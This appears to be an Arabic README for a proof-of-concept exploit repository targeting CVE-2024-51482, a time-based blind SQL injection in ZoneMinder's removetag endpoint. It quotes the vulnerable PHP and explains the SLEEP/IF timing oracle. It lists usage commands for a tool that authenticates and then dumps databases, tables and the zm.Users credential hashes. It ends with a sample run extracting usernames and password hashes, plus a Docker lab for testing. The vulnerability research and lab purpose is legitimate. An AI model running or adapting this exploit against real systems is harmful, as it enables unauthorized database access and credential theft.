
إثبات مفهوم حقن SQL زمني للثغرة CVE-2024-51482 في ZoneMinder، مع مختبر Docker قابل للتكرار واستخراج بيانات آلي.
⚠️ للأغراض التعليمية وأبحاث الأمن المصرح بها فقط. تشغيل هذه الأداة ضد أنظمة لا تملكها أو تفتقر إلى إذن كتابي لاختبارها غير قانوني.
يحتوي هذا المستودع على PoC لحقن SQL قائم على الوقت يستهدف ZoneMinder.
تتيح الأداة ما يلي:
كما تتضمن مختبر Docker قابل للتكرار بالكامل للاختبار الآمن.
ZoneMinder هو تطبيق برمجي مجاني ومفتوح المصدر للدوائر التلفزيونية المغلقة. تنشأ الثغرة من التحقق غير الكافي من المدخلات في نقطة النهاية removetag في ZoneMinder. يتم تضمين المدخلات التي يوفرها المستخدم مباشرة في استعلامات SQL دون تطهير أو معاملات مناسبة، مما يسمح للمهاجمين بحقن حمولات SQL قائمة على القيم المنطقية. يستغل الاستغلال:
SLEEP(x - IF(condition, 0, x))
لاستنتاج البيانات عبر توقيت الاستجابة.
مقطع الكود الثغري الكامل من نصيحة الصيانة على Github:
case 'removetag' :
$tagId = $_REQUEST['tid'];
dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));
$sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
$rowCount = dbNumRows($sql);
if ($rowCount < 1) {
$sql = 'DELETE FROM Tags WHERE Id = ?';
$values = array($_REQUEST['tid']);
$response = dbNumRows($sql, $values);
ajaxResponse(array('response'=>$response));
}
Attacker ZoneMinder Web App
│ │
│ [مصادقة] │
│ POST /zm/index.php │
│ {username, password} │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ 200 OK + Set-Cookie: ZMSESSID=... │ ← جلسة موثقة
│ │
│ [CVE-2024-51482] │
│ GET /zm/index.php │
│ ?view=request&request=event │
│ &action=removetag&tid=<payload> │
│────────────────────────────────────────►│
│ استعلام SQL منطقي تم تنفيذه
│ IF(condition, no delay, SLEEP)
│◄────────────────────────────────────────│
│ استجابة متأخرة (أوراكل التوقيت) │ ← تم استنتاج الشرط
│ │
│ تكرار الطلبات │
│ ASCII(SUBSTRING(query,pos,1)) │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ اختلافات التوقيت تكشف الأحرف │
│ │
│ بحث ثنائي لكل حرف │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ بيانات مستخرجة (حرف واحد في كل مرة) │
│ │
│ SELECT Username, Password FROM Users │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ الكشف الكامل عن قاعدة البيانات │
│ │
✓ تسريب كامل للبيانات عبر SQL أعمى
CVE-2024-51482/
├── exploit.py
├── README.md
├── requirements.txt
├── docker-compose.yml
├── .env.example
├── docker/
│ ├── Dockerfile
│ └── entrypoint.sh
└── logs/
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
pip install -r requirements.txt
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
cp .env.example .env # تكوين متغيرات البيئة
docker compose up -d
بدون أي أعلام، ستقوم الأداة بالمصادقة على الهدف، والتحقق من وجود الثغرة، وإذا كانت قابلة للاستغلال، ستقوم بتفريغ الأعمدة ID, Username, Password, Name و Email من جدول zm.Users (أمر dump-users).
python exploit.py -t http://target/zm -u <username> -p <password>
python exploit.py -h
للتحقق فقط مما إذا كان الهدف قابلاً للاستغلال.
python exploit.py -t http://target/zm -u <username> -p <password> check
يقوم بتفريغ الأعمدة ID, Username, Password, Name و Email من جدول zm.Users. الأمر الافتراضي إذا لم يتم تحديد أي أمر.
python exploit.py -t http://target/zm -u <username> -p <password> dump-users
يعرض جميع قواعد البيانات.
python exploit.py -t http://target/zm -u <username> -p <password> list-db
يعرض الجداول في قاعدة بيانات محددة.
python exploit.py -t http://target/zm -u <username> -p <password> list-tables --db <database>
يعرض الأعمدة في جدول محدد.
python exploit.py -t http://target/zm -u <username> -p <password> list-columns --db <database> --table <table>
يقوم بتفريغ جميع البيانات من جدول محدد.
python exploit.py -t http://target/zm -u <username> -p <password> dump-table --db <database> --table <table>
يمكنك أيضًا تحديد الأعمدة المراد تفريغها (الافتراضي هو الكل):
python exploit.py -t http://target/zm -u <username> -p <password> dump-table --db <database> --table <table> --columns col1,col2
--no-display
إذا لم يكن الملف موجودًا، فسيتم إنشاؤه. إذا كان موجودًا بالفعل، سيتم إضافة النتائج الجديدة إليه.
--outfile results.csv
| العلم | الوصف | مثال |
|---|---|---|
-t, --target | عنوان URL الأساسي للهدف | -t http://localhost:8080 |
-u, --user | اسم المستخدم للمصادقة | -u admin |
-p, --password | كلمة المرور للمصادقة | -p admin |
--cookie | استخدام ملف تعريف ارتباط ZMSESSID موجود بدلاً من تسجيل الدخول | --cookie abc123... |
| الأمر | الوصف | مثال |
|---|---|---|
check | اختبار ما إذا كان الهدف قابلاً للاستغلال (SQLi قائم على الوقت) | check |
dump-users | تفريغ جدول zm.Users مباشرة | dump-users |
list-db | عرض جميع قواعد البيانات | list-db |
list-tables | عرض الجداول من قاعدة بيانات | list-tables --db zm |
list-columns | عرض الأعمدة من جدول | list-columns --db zm --table Users |
dump-table | تفريغ جدول معين | dump-table --db zm --table Users |
| العلم | الوصف | مطلوب | مثال |
|---|---|---|---|
--db | اسم قاعدة البيانات | نعم (لعمليات الجدول/العمود) | --db zm |
--table | اسم الجدول | نعم (للعمود/التفريغ) | --table Users |
--columns | قائمة مفصولة بفواصل للأعمدة المراد تفريغها | اختياري | --columns Username,Password |
| العلم | الوصف | الافتراضي | مثال |
|---|---|---|---|
--threads | عدد خيوط الاستخراج المتزامنة | 5 | --threads 6 |
--delay | التأخير المستخدم في SQLi القائم على الوقت | 3 | --delay 2 |
--no-check | تخطي فحص الثغرة قبل الاستغلال | False | --no-check |
| العلم | الوصف | مثال |
|---|---|---|
--outfile | حفظ الإخراج إلى ملف CSV | --outfile results.csv |
--no-display | تعطيل الإخراج الطرفي | --no-display |
| العلم | الوصف | الافتراضي | مثال |
|---|---|---|---|
-v, --verbose | تمكين تسجيل التصحيح | False | -v |
--log-file | مسار ملف السجل | logs/exploit.log | --log-file out.log |
--no-color | تعطيل الإخراج الملون | False | --no-color |
python3 exploit.py \
-t http://localhost:8080 \
-u admin -p admin \
dump-table \
--db zm \
--table Users \
--columns Username,Password \
--threads 6 \
--delay 2 \
--outfile dump.csv
dump-users هو اختصار لتفريغ جدول zm.Users.--no-check فقط إذا كنت متأكدًا من أن الهدف قابل للاستغلال.يقوم ملف docker-compose.yml المرفق بإعداد مثيل ZoneMinder ضعيف.
cp .env.example .env # تكوين متغيرات البيئة
docker compose up -d
قم بالوصول إلى واجهة الويب على http://localhost:8080/ (أو المنفذ المخصص لديك). بيانات الاعتماد الافتراضية هي admin:admin. يمكنك بعد ذلك تشغيل الاستغلال ضد هذا المثيل المحلي للاختبار.
$ python3 exploit.py -t http://localhost:8080/ -u admin -p admin --outfile ./out.csv dump-table --db zm --table Users --columns Username,Password
_________ ____ _______________ ________ _______ ________ _____ .________ ____ _____ ______ ________
\_ ___ \\ \ / /\_ _____/ \_____ \\ _ \ \_____ \ / | | | ____//_ | / | | / __ \ \_____ \
/ \ \/ \ Y / | __)_ ______ / ____// /_\ \ / ____/ / | |_ ______|____ \ | | / | |_ > < / ____/
\ \____ \ / | \/_____// \\ \_/ \/ \ / ^ //_____// \ | |/ ^ // -- \/ \
\______ / \___/ /_______ / \_______ \\_____ /\_______ \\____ | /______ / |___|\____ | \______ /\_______ \
\/ \/ \/ \/ \/ |__| \/ |__| \/ \/
[∗] عنوان URL الهدف: http://localhost:8080/
[∗] الوحدة النمطية : dump-table
[∗] سيتم حفظ الإخراج إلى: ./out.csv
[∗] محاولة تسجيل الدخول باستخدام مصادقة اسم المستخدم/كلمة المرور
🡲 بيانات الاعتماد: admin:admin
[+] تمت المصادقة بنجاح كمستخدم admin
[∗] اختبار قابلية الهدف للاستغلال...
[+] يبدو أن الهدف قابل للاستغلال (يشير وقت الاستجابة إلى حقن ناجح).
[∗] تفريغ محتويات جدول zm.Users...
[+] تم العثور على الأعمدة: Username, Password
[∗] استرداد عدد الصفوف في الجدول...
[+] يحتوي الجدول على صفين. بدء التفريغ...
[∗] التقدم: 5/5 | admin
[∗] التقدم: 60/60 | $2h$12$NHZs...
[+] تم استرداد الصف 1 : admin, $2h$12$NHZs...
[∗] التقدم: 4/4 | flag
[∗] التقدم: 60/60 | $2y$10$1Ei....
[+] تم استرداد الصف 2 : flag, $2y$10$1Ei....
+----------+----------------+
| Username | Password |
+----------+----------------+
| admin | $2h$12$NHZs... |
| flag | $2y$10$1Ei.... |
+----------+----------------+
[+] تمت كتابة النتائج إلى ./out.csv
[+] العمل تم. وداعًا!